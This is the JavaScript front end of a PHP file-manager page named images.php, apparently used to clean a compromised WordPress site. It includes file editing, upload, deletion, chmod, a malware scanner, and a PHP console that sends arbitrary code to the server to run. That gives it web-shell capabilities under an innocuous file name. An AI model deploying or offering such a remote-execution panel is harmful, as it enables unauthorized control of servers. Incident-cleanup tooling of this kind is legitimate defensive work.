        h+='<div style="margin-top:8px;padding:10px;border-radius:6px;font-weight:700;background:'+(allSealed?'#f0fdf4':'#fef3c7')+';color:'+(allSealed?'#166534':'#92400e')+'">'+
           (allSealed?'\u2705 断链完成! WP 已完全停机,木马无法触发。\n\n\u2022 访问网站会显示 404 / 白屏 (正常现象)\n\u2022 本工具 images.php 继续可用\n\u2022 wp-config.php 未动,数据库配置安全\n\u2022 备份:.htaccess.locked / .user.ini.locked\n\n\u4e0b\u4e00\u6b65\u5efa\u8bae:\n\u2460 \u7acb\u523b\u6539 FTP/\u9762\u677f/\u6570\u636e\u5e93 \u5bc6\u7801\n\u2461 SSH \u767b\u5f55\u670d\u52a1\u5668\u540e\u53f0\u5904\u7406\u6728\u9a6c\n\u2462 \u786e\u8ba4\u5e72\u51c0\u540e,\u624b\u52a8\u6539\u56de\u540d\u5b57\u6062\u590d\u7f51\u7ad9':
            '\u26a0 \u90e8\u5206\u76ee\u6807\u672a\u80fd\u65ad\u94fe\u3002\n\u53ef\u80fd\u539f\u56e0:\n\u2022 \u6587\u4ef6\u5c5e\u4e3b\u4e0d\u662f\u5f53\u524d PHP \u7528\u6237(\u9700 SSH \u4ee5\u771f\u5b9e\u5c5e\u4e3b\u6216 root \u6743\u9650\u6267\u884c)\n\u2022 \u6839\u76ee\u5f55\u672c\u8eab\u6743\u9650\u4ecd\u4e3a 555,\u672a\u80fd\u5199\u5165\u3002\n\u5df2\u65ad\u94fe\u7684\u90e8\u5206\u5df2\u751f\u6548,\u53ef\u4ee5\u5148\u770b\u770b\u7f51\u7ad9\u884c\u4e3a\u662f\u5426\u6b63\u5e38')+'</div></div>';
      }
      if(res.note){
        h+='<div style="margin-top:8px;padding:6px 10px;border-radius:4px;background:#eff6ff;color:#1e40af;font-size:12px">\u2139 '+escH(res.note)+'</div>';
      }
      box.innerHTML=h;
    }).catch(function(e){box.innerHTML='<div style="color:#dc2626">请求出错: '+e+'</div>';});
  });
}
/* ===== Utility dialogs ===== */
function showFlash(m,ok){var e=document.getElementById('flash');e.innerText=m;e.style.display='block';e.style.background=ok?'#dcfce7':'#fee2e2';e.style.color=ok?'#166534':'#991b1b';e.style.borderLeft=ok?'4px solid #22c55e':'4px solid #ef4444';setTimeout(function(){e.style.display='none';},5000);}
function aqAlert(msg){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><div class="aq-btns"><button class="btn primary" id="__aq_ao">OK</button></div></div>';document.body.appendChild(o);document.getElementById('__aq_ao').onclick=function(){o.remove();resolve();};});}
function aqConfirm(msg){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><div class="aq-btns"><button class="btn" id="__aq_cc" style="margin-right:8px">Cancel</button><button class="btn danger" id="__aq_co">OK</button></div></div>';document.body.appendChild(o);document.getElementById('__aq_co').onclick=function(){o.remove();resolve(true);};document.getElementById('__aq_cc').onclick=function(){o.remove();resolve(false);};});}
function aqPrompt(msg,val){return new Promise(function(resolve){var o=document.createElement('div');o.className='aq-overlay';o.innerHTML='<div class="aq-dialog"><div class="aq-msg">'+msg+'</div><input id="__aq_pi" value="'+(val||'')+'"><div class="aq-btns"><button class="btn" id="__aq_pc" style="margin-right:8px">Cancel</button><button class="btn primary" id="__aq_po">OK</button></div></div>';document.body.appendChild(o);var inp=document.getElementById('__aq_pi');inp.focus();inp.select();function done(v){o.remove();resolve(v);}document.getElementById('__aq_po').onclick=function(){done(inp.value);};document.getElementById('__aq_pc').onclick=function(){done(null);};inp.onkeydown=function(e){if(e.key==='Enter')done(inp.value);if(e.key==='Escape')done(null);};});}

/* ===== Editor ===== */
var currentFullPath='';
function openEditor(p){var f=decodeURIComponent(p);currentFullPath=f;document.getElementById('editorTitle').innerText='Edit: '+f.split('/').pop();document.getElementById('editorPath').innerText=f;document.getElementById('editorContent').value='Loading...';document.getElementById('editorModal').style.display='flex';fetch('?api=1&action=getfile&fullpath='+encodeURIComponent(f)).then(function(r){if(!r.ok)throw new Error('fail');return r.text();}).then(function(t){document.getElementById('editorContent').value=t;}).catch(function(){document.getElementById('editorContent').value='';aqAlert('Read file failed');});}
function closeEditor(){document.getElementById('editorModal').style.display='none';currentFullPath='';document.getElementById('editorContent').value='';}
document.getElementById('saveBtn').addEventListener('click',function(){if(!currentFullPath)return;var f=new FormData();f.append('api','1');f.append('action','savefile');f.append('fullpath',currentFullPath);f.append('content',document.getElementById('editorContent').value);fetch('',{method:'POST',body:f}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Saved successfully',true);setTimeout(function(){location.reload();},700);}else aqAlert('Save failed: '+(d.error||'Error'));}).catch(function(){aqAlert('Network error');});});

/* ===== Upload ===== */
var dropArea=document.getElementById('dropArea'),fileInput=document.getElementById('fileInput'),progressList=document.getElementById('progressList');
function openUpload(){document.getElementById('uploadModal').style.display='flex';}function closeUpload(){document.getElementById('uploadModal').style.display='none';progressList.innerHTML='';}
dropArea.addEventListener('click',function(){fileInput.click();});fileInput.addEventListener('change',function(){handleFiles(fileInput.files);});
var evts=['dragenter','dragover','dragleave','drop'];for(var i=0;i<evts.length;i++){(function(e){dropArea.addEventListener(e,function(ev){ev.preventDefault();ev.stopPropagation();},false);})(evts[i]);}
dropArea.addEventListener('drop',function(e){handleFiles(e.dataTransfer.files);});
function handleFiles(fs){for(var i=0;i<fs.length;i++)uploadFile(fs[i]);}
function uploadFile(f){var r=document.createElement('div');r.className='progress-item';var n=document.createElement('div');n.style.width='220px';n.innerText=f.name;var b=document.createElement('div');b.className='progress-bar';var l=document.createElement('div');l.className='progress-fill';b.appendChild(l);var t=document.createElement('div');t.className='progress-text';t.innerText='0%';r.appendChild(n);r.appendChild(b);r.appendChild(t);progressList.appendChild(r);var x=new XMLHttpRequest(),d=new FormData();d.append('file[]',f);d.append('api','1');d.append('action','upload');d.append('target','<?php echo esc($target);?>');x.open('POST','?',true);x.upload.addEventListener('progress',function(e){if(e.lengthComputable){var p=Math.round(e.loaded/e.total*100);l.style.width=p+'%';t.innerText=p+'%';}});x.onreadystatechange=function(){if(x.readyState===4){if(x.status===200){t.innerText='Done';showFlash('Upload complete',true);setTimeout(function(){location.reload();},800);}else{t.innerText='Failed';}}};x.send(d);}

/* ===== File ops ===== */
function doDelete(e){var f=decodeURIComponent(e);aqConfirm('Permanently delete:\n'+f+' ?').then(function(ok){if(!ok)return;var d=new FormData();d.append('api','1');d.append('action','delete');d.append('fullpath',f);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Deleted',true);setTimeout(function(){location.reload();},700);}else aqAlert('Delete failed');});});}
function doRename(e){var f=decodeURIComponent(e);aqPrompt('New name',f.split('/').pop()).then(function(n){if(!n)return;var d=new FormData();d.append('api','1');d.append('action','rename');d.append('fullpath',f);d.append('newname',n);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Renamed',true);setTimeout(function(){location.reload();},700);}else aqAlert('Rename failed');});});}
function doChmod(e){var f=decodeURIComponent(e);aqPrompt('Octal perms','0644').then(function(m){if(!m)return;var d=new FormData();d.append('api','1');d.append('action','chmod');d.append('fullpath',f);d.append('mode',m);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Chmod updated',true);setTimeout(function(){location.reload();},700);}else aqAlert('Chmod failed');});});}
function doMkdir(){aqPrompt('Folder name','').then(function(n){if(!n)return;var d=new FormData();d.append('api','1');d.append('action','mkdir');d.append('dirpath','<?php echo esc($target);?>');d.append('name',n);fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Created',true);setTimeout(function(){location.reload();},700);}else aqAlert('Create failed');});});}
function doGenFile(t){var d=new FormData();d.append('api','1');d.append('action',t==='htaccess'?'gen_htaccess':'gen_robots');d.append('dirpath','<?php echo esc($target);?>');fetch('',{method:'POST',body:d}).then(function(r){return r.json();}).then(function(d){if(d.ok){showFlash('Generated!',true);setTimeout(function(){location.reload();},700);}else aqAlert('Generation failed');});}

/* ===== PHP Console ===== */
function openConsole(){document.getElementById('consoleModal').style.display='flex';document.getElementById('consoleCode').focus();}
function closeConsole(){document.getElementById('consoleModal').style.display='none';}
function clearConsole(){document.getElementById('consoleOutput').innerText='Output will appear here...';document.getElementById('consoleMeta').innerText='';document.getElementById('consoleCode').value='';document.getElementById('consoleCode').focus();}
function runConsole(){
  var code=document.getElementById('consoleCode').value;
  if(!code.replace(/\s/g,'')){aqAlert('Please enter PHP code.');return;}
  var btn=document.getElementById('runBtn');
  btn.disabled=true;btn.innerText='⏳ Running...';
  var out=document.getElementById('consoleOutput');
  out.innerText='Executing...';
  var fd=new FormData();fd.append('api','1');fd.append('action','phpconsole');fd.append('code',code);
  fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
    var result='';
    if(d.warnings)result+=d.warnings+'\n\n';
    if(d.error)result+=d.error+'\n\n';
    if(d.output)result+=d.output;
    if(d['return'])result+=(result?'\n\n':'')+'Return: '+d['return'];
    if(!result)result='(no output)';
    out.innerText=result;
    document.getElementById('consoleMeta').innerText=d.time+' | PHP '+d.php_version;
    btn.disabled=false;btn.innerText='▶ Run';
  }).catch(function(e){out.innerText='Network error: '+e.message;btn.disabled=false;btn.innerText='▶ Run';});
}
document.getElementById('consoleCode').addEventListener('keydown',function(e){
  if(e.key==='Tab'){e.preventDefault();var s=this.selectionStart,en=this.selectionEnd;this.value=this.value.substring(0,s)+'    '+this.value.substring(en);this.selectionStart=this.selectionEnd=s+4;}
  if((e.ctrlKey||e.metaKey)&&e.key==='Enter'){e.preventDefault();runConsole();}
});

/* ===== Create File (simple) ===== */
function openCreateFile(){document.getElementById('createModal').style.display='flex';document.getElementById('createFileName').value='';document.getElementById('createContent').value='';document.getElementById('createFileName').focus();}
function closeCreateFile(){document.getElementById('createModal').style.display='none';}
function submitCreateFile(){
  var name=document.getElementById('createFileName').value.replace(/^\s+|\s+$/g,'');
  if(!name){aqAlert('Please enter a file name with extension.');return;}
  var content=document.getElementById('createContent').value;
  var fd=new FormData();fd.append('api','1');fd.append('action','createfile');fd.append('dirpath','<?php echo esc($target);?>');fd.append('filename',name);fd.append('content',content);
  fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
    if(d.ok){showFlash('File "'+name+'" created!',true);closeCreateFile();setTimeout(function(){location.reload();},700);}
    else aqAlert('Failed: '+(d.error||'Unknown error'));
  }).catch(function(){aqAlert('Network error');});
}
document.getElementById('createFileName').addEventListener('keydown',function(e){if(e.key==='Enter'){e.preventDefault();submitCreateFile();}});

/* ===== Security Scanner ===== */
function openScanner(){document.getElementById('scanModal').style.display='flex';}
function closeScan(){document.getElementById('scanModal').style.display='none';}

function runScan(){
  var btn=document.getElementById('scanBtn');
  btn.disabled=true;btn.innerText='⏳ Scanning...';
  var res=document.getElementById('scanResults');
  res.innerHTML='<div style="text-align:center;padding:30px;color:var(--muted)">Scanning files, please wait...<br>This may take a moment for large sites.</div>';
  document.getElementById('scanSummary').innerText='';
  var fd=new FormData();fd.append('api','1');fd.append('action','security_scan');fd.append('scandir',document.getElementById('scanPath').value);
  fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
    btn.disabled=false;btn.innerText='🔍 Start Scan';
    if(!d.ok){res.innerHTML='<div style="color:#dc2626;padding:20px">Scan failed</div>';return;}
    if(d.count===0){
      res.innerHTML='<div class="scan-safe">✅ No suspicious files found!<br><span style="font-size:13px;color:var(--muted)">Scanned: '+escH(d.scan_root)+'</span></div>';
      document.getElementById('scanSummary').innerText='0 threats found';
      return;
    }
    var html='';
    var high=0,med=0;
    for(var i=0;i<d.findings.length;i++){
      var f=d.findings[i];
      var cls=f.risk==='high'?'scan-item':'scan-item medium';
      if(f.risk==='high')high++;else med++;
      var acts='';
      if(f.type==='config_inject'){
        acts='<button class="btn danger" onclick="fixItem(\'clean_config\',\''+escAttr(f.path)+'\')">🧹Clean</button>';
      }else if(f.type==='locked_perm'||f.type==='locked_dir'){
        var tgt=f.type==='locked_dir'?'chmod755':'chmod644';
        acts='<button class="btn primary" onclick="fixItem(\''+tgt+'\',\''+escAttr(f.path)+'\')">🔓Unlock</button>';
      }else{
        acts='<button class="btn danger" onclick="fixItem(\'delete\',\''+escAttr(f.path)+'\')">🗑Delete</button>';
        acts+=' <button class="btn" onclick="openEditor(\''+encodeURIComponent(f.path)+'\')">👁View</button>';
      }
      html+='<div class="'+cls+'"><div><div class="si-path">'+escH(f.path)+'</div><div class="si-reason">'+escH(f.type)+': '+escH(f.reason)+'</div></div><div class="si-actions">'+acts+'</div></div>';
    }
    res.innerHTML=html;
    document.getElementById('scanSummary').innerText='Found: '+high+' high risk, '+med+' medium risk | Scanned: '+d.scan_root;
  }).catch(function(e){btn.disabled=false;btn.innerText='🔍 Start Scan';res.innerHTML='<div style="color:#dc2626;padding:20px">Network error</div>';});
}

function fixItem(act,path){
  var label=act==='delete'?'DELETE this file permanently':'Apply fix';
  aqConfirm(label+'?\n'+path).then(function(ok){
    if(!ok)return;
    var fd=new FormData();fd.append('api','1');fd.append('action','security_fix');
    fd.append('fixes',JSON.stringify([{path:path,act:act}]));
    fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
      if(d.ok&&d.results&&d.results[0]){
        var r=d.results[0];
        if(r.ok){showFlash(r.msg,true);setTimeout(function(){runScan();},500);}
        else aqAlert('Failed: '+r.msg);
      }else aqAlert('Fix failed');
    }).catch(function(){aqAlert('Network error');});
  });
}

function resetDocroot(){
  aqConfirm('Reset DocRoot permissions?\n\nThis will set:\n• All directories → 755\n• All files → 644\n\nIn: <?php echo esc($docRoot?$docRoot:$target);?>').then(function(ok){
    if(!ok)return;
    var fd=new FormData();fd.append('api','1');fd.append('action','reset_docroot_perms');
    fetch('',{method:'POST',body:fd}).then(function(r){return r.json();}).then(function(d){
      if(d.ok){
        var ok=0,fail=0;
        for(var i=0;i<d.log.length;i++){if(d.log[i].ok)ok++;else fail++;}
        showFlash('DocRoot reset: '+ok+' succeeded, '+fail+' failed',fail===0);
        if(fail>0){
          var failList='';
          for(var j=0;j<d.log.length;j++){if(!d.log[j].ok)failList+=d.log[j].path+'\n';}
          aqAlert('These files could not be changed (may need root/SSH):\n\n'+failList);
        }
      }else aqAlert('Reset failed');
    }).catch(function(){aqAlert('Network error');});
  });
}

function escH(s){var d=document.createElement('div');d.appendChild(document.createTextNode(s));return d.innerHTML;}
function escAttr(s){return s.replace(/\\/g,'\\\\').replace(/'/g,"\\'");}
</script></body></html>